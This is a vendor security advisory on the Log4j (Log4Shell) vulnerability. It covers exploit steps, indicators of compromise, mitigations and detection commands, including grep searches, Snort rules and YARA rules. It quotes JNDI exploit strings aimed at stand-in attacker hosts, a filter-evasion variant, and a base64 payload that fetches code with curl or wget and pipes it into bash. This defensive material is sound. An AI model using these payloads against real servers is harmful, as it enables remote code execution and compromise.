verizon

Verizon Business Consulting Services
Cyber Security Consulting

UPDATE - Active Exploitation of Apache's Log4j Technology

UPDATED Executive Summary

VTRAC continues to monitor and track the Log4J (aka Log4Shell) vulnerability and recommends all organizations to install the latest 2.16.0 patch released by Apache. A recent vulnerability (CVE 2021-45046) was discovered in version 2.15.0 which could allow an attacker to craft malicious input data using the Java Naming and Directory Interface (JNDI) lookup pattern to execute a denial of service (DOS) attack. Version 2.16.0 addresses issues that CVE-2021-44228 did not cover which led to the patch being "incomplete in certain non-default configurations". Version 2.16.0 fixes the problem by removing support for message lookup patterns effectively disabling JNDI functionality by default. It is highly recommended that enterprises update to version 2.16.0 to mitigate adversaries taking advantage of the Log4j input validation vulnerability in sum.

What is Log4j

Log4j is an open-source, Java-based logging framework commonly incorporated into Apache web servers. The Log4j library is used in numerous Apache frameworks services. Between late November and early December 2021, a critical vulnerability (CVE-2021-44228) impacting the Log4j utility was reported, resulting in several fixes and code revisions from the vendor (impacts all versions of Log4j below 2.16.0). This vulnerability is being widely exploited in the wild. Log4j insufficiently sanitizes user-supplied data, potentially allowing an attacker to provide a string that is interpreted as a variable that, when expanded, results in the loading and invocation of a remote Java class file. Whether a particular service is exploitable depends on its specific usage of Log4j.

On December 9, 2021, a major remote code execution vulnerability in Apache's log4j (aka Log4Shell) technology was disclosed. Log4j is a logging library written in Java. This vulnerability, CVE-2021-44228, received a 10/10 CVSS score, rating it critical. The flaw allows a remote actor to send a crafted HTTP packet to Apache servers running the Log4j software below version 2.16.0. The vulnerable software will store the HTTP request as a legitimate log, which then executes the payload embedded in the log. The vulnerability allows an attacker to initiate LDAP traffic to an attacker controlled node from the "Java Naming and Directory Interface" (JNDI). The attacker controlled node will respond with a malicious Java class file that then begins running on the victim server. The cybersecurity community is seeing a major spike in scanning for this vulnerability and active exploitation. If you do not have time to read the rest of this advisory then please patch the vulnerability with the latest software, version 2.16.0, however we encourage you to read the rest.

Range of Impact

This vulnerability is far more impactful than some might expect, primarily because of Log4j's near-ubiquitous presence in almost all major Java-based enterprise apps and servers. For example, Log4j is included with almost all the enterprise products released by the Apache Software Foundation, such as: Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, and possibly many more. In addition, other open-source projects like Redis, ElasticSearch, Elastic Logstash, the NSA's Ghidra, and others also use it in some capacity.

Exploit Requirements

- A server with a vulnerable log4j version below 2.16.0
- The log4j2.formatMsgNoLookups option in the library's configuration is set to false ('formatMsgNoLookups=false)
- An endpoint with any protocol (HTTP, TCP, etc.) that allows an attacker to send the exploit string
- A log statement that logs out the string from that request

Exploit Steps

- Data from the User gets sent to the server (via any protocol)
- The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server)
- The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI)
- This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process
- This injected payload triggers a second stage, and allows an attacker to execute arbitrary code

Indicators of Compromise (IOCs)

- Hashes to check - https://archive.apache.org/dist/logging/log4j/ (check for the hashes depending on the Apache version being used)
- IP Address - 256.256.256.256 has been seen in the initial scan with a base64 encoded string. It is unclear whether this string is being sent as a way to validate susceptible servers or for some other reason.
- Stage 2,3 and 4 also seen with final payloads: nspps/Kingsing malware via following IPs:
    - 256[.]256[.]256[.]256
    - 256[.]256[.]256[.]256
    - 256[.]256[.]256[.]256
    - 256[.]256[.]256[.]256
- For the remainder of the IPs seen scanning for this vulnerability, please see the APPENDIX I at the end of the document. Please note that nearly all of those IPs are from the TOR network.

Other Checks for IOCs and Detections

- The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following pattern: “log4j-core-*.jar”
- Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax: “lsof /path/to/log4j-core-version.jar;”
- Initial analysis and the data from internal and external sourced indicates massive increase in traffic, demonstrating scanning/exploitation attempts targeting the JNDI and LDAP services (e.g., **jndi:ldap://[host]:[port]/[path]**)
- Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string is like below:
    - **${jndi:ldap://x.x.x.x/#Touch}**

Which looks like a simple way to hit the server at x.x.x.x, which the actor controls. The second most popular request contained the string below. This appeared in the User-Agent field of the request. Notice how at the end of the URI it says /ua. A clue to the threat actor that the exploit worked in the User-Agent:

- **Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua**

For other IOC checks, detection strings, and YARA rules please see APPENDIX II at the end of the document.

Work around

The variable **com.sun.jndi.rmi.object.trustURLCodebase** is set to false by default, disallowing access to remote resources. This setting can be checked to determine if a system has been vulnerable, and set to false as a workaround to prevent attacks, for instance by logging or printing the return value of:

- **System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")**

Manually making the following configuration change from false (default) to true:

- ('formatMsgNoLookups=true)

Mitigation

- **Version 2.16.0 of log4j has been released without the vulnerability**

- A new version of Log4j 2 published on Dec. 6, 2021, introduces the following new security controls for JNDI session security controls to restrict access to remote resources:
    - allowedJndiProtocols restricts JNDI protocols to those listed; default: none
    - allowedLdapHosts restricts LDAP requests to listed hosts; default: none
    - allowedLdapClasses lists names of allowed remote Java classes; default: none
- The 'formatMsgNoLookups' property was added in version 2.10.0. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.16.0, because it then becomes the default behavior. If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:
    - Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109

    OR

    - Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.

Recommendations

Upgrade your instance to version to 2.16.0 immediately. To prevent attacks on a network level, and the vulnerable Java service from downloading a malicious class file via LDAP, outbound connections from affected servers can be limited to trusted hosts and protocols to prevent the vulnerable Java service from downloading a malicious class file via LDAP.

Verizon's Threat Research Advisory Center has extensive experience with helping clients investigate the presence of vulnerabilities and active exploitation. We are available to support your organization if you have questions or if you would like added support with incident response or digital forensic investigations.

For additional support, reach out to the Verizon VTRAC team via email (ir-hotline@verizon.com) or phone (+1.844.819.6071).

Sources:

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://issues.apache.org/jira/browse/LOG4J2-2109

https://therecord.media/log4j-zero-day-gets-security-fix-just-as-scans-for-vulnerable-systems-ramp-up/

https://twitter.com/campuscodi/status/1469275772384956418

https://github.com/tangxiaofeng7/apache-log4j-poc

https://twitter.com/bad_packets/status/1469225135504650240

https://twitter.com/_mattata/status/1469144854672379905

https://logging.apache.org/log4j/2.x/security.html

https://www.zdnet.com/article/second-log4j-vulnerability-found-apache-log4j-2-16-0-released/

https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4

https://www.theregister.com/2021/12/14/apache_log4j_2_16_jndi_disabled/

APPENDIX I

The IP addresses below were identified as being active scanners/exploiters of the vulnerability. Please note most of these IPs are related to the TOR network:

APPENDIX II

Below you will find more IOC checks, detection strings, followed by YARA rules:

An interesting payload shows that the actor was detailing the format that worked (in this case a non-encrypted request to port 443 and they were trying to use http://):

- **${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}**

Pretending to be the Googlebot and included some extra information:

- **Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}**

In the following case the actor was hitting a public Cloudflare IP and encoded that IP address in the exploit payload. That way they could scan many IPs and find out which were vulnerable:

- **${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}**

A variant on that scheme was to include the name of the attacked website in the exploit payload:

- **${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}**

Some actors didn't use LDAP but went with DNS. However, LDAP is by far the most common protocol being used:

- **${jndi:dns://aeutbj.example.com/ext}**

A very interesting scan involved using Java and standard Linux command-line tools. The payload looks like this:

- **${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}**

The base64 encoded portion decodes to a curl and wget piped into bash.

- **(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash**

Lastly, active attempts to evade simplistic blocking of strings like ${jndi:ldap by using other features of Log4j. For example, a common evasion technique appears to be to use the ${lower} feature (which lowercases characters) as follows:

- **${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x**

Grep / Zgrep - This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders:

- **sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log**

Grep / Zgrep - This command searches for exploitation attempts in compressed files in folder /var/log and all sub folders:

- **sudo find /var/log -name *.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'**

Grep / Zgrep - Obfuscated Variants - This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders:

- **sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;**

Grep / Zgrep - This command searches for exploitation attempts in compressed files in folder /var/log and all sub folders:

- **sudo find /var/log/ -name "*.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;**

Log4Shell Detector (Python) - Python based scanner to detect the most obfuscated forms of the exploit codes:

- https://github.com/Neo23x0/log4shell-detector

Find Vulnerable Software (Windows):

- **gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path**

Exploitation attempts can be detected by inspecting log files for the characteristic URL pattern ${jndi:ldap://} such as using the below snort rule:

- **alert tcp any any -> $HOME_NET any; flow: from_client, established; content: "${jndi:ldap://"; classtype:web-application-attack;**

The second rule alerts to the characteristic Java class file header transferred over an incoming TCP session and also serves as an emergency rule that presents additional means of detecting intrusion attempts, and the target host and port must be set to the service in question to prevent false positives:

- **alert tcp any any -> $HOME_NET any; flow: from_server, established; content: "|ca fe ba be 00 00 00|"; content: ""; classtype: trojan-activity;**

YARA - Preliminary YARA rules:

```
rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft {
  meta:
    description = "Detects indicators in server logs that indicate an exploitation attempt of
CVE-2021-44228"
    author = "Florian Roth"
    reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
    date = "2021-12-10"
    score = 60
  strings:
    $x1 = "${jndi:ldap:/"
    $x2 = "${jndi:rmi:/"
    $x3 = "${jndi:ldaps:/"
    $x4 = "${jndi:dns:/"
  condition:
    1 of them
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard {
  meta:
    description = "Detects indicators in server logs that indicate the exploitation of CVE-
2021-44228"
    author = "Florian Roth"
    reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
    date = "2021-12-10"
    score = 80
  strings:
    $x1 = /\$\{jndi:(ldap|ldaps|rmi|dns):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
    $fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
  condition:
    $x1 and not 1 of ($fp*)
}
```

```
rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
  meta:
    description = "Detects base64 encoded strings found in payloads of exploits against
log4j CVE-2021-44228"
    author = "Florian Roth"
    reference = "https://twitter.com/Reelix/status/1469327487243071493"
    date = "2021-12-10"
    score = 70
  strings:
    /* curl -s  */
    $sa1 = "Y3VybCAtcy"
    $sa2 = "N1cmwgLXMg"
    $sa3 = "jdXJsIC1zI"
    /* |wget -q -O-  */
    $sb1 = "fHdnZXQgLXEgLU8tI"
    $sb2 = "x3Z2V0IC1xIC1PLS"
    $sb3 = "8d2dldCAtcSAtTy0g"
  condition:
    1 of ($sa*) and 1 of ($sb*)
}
```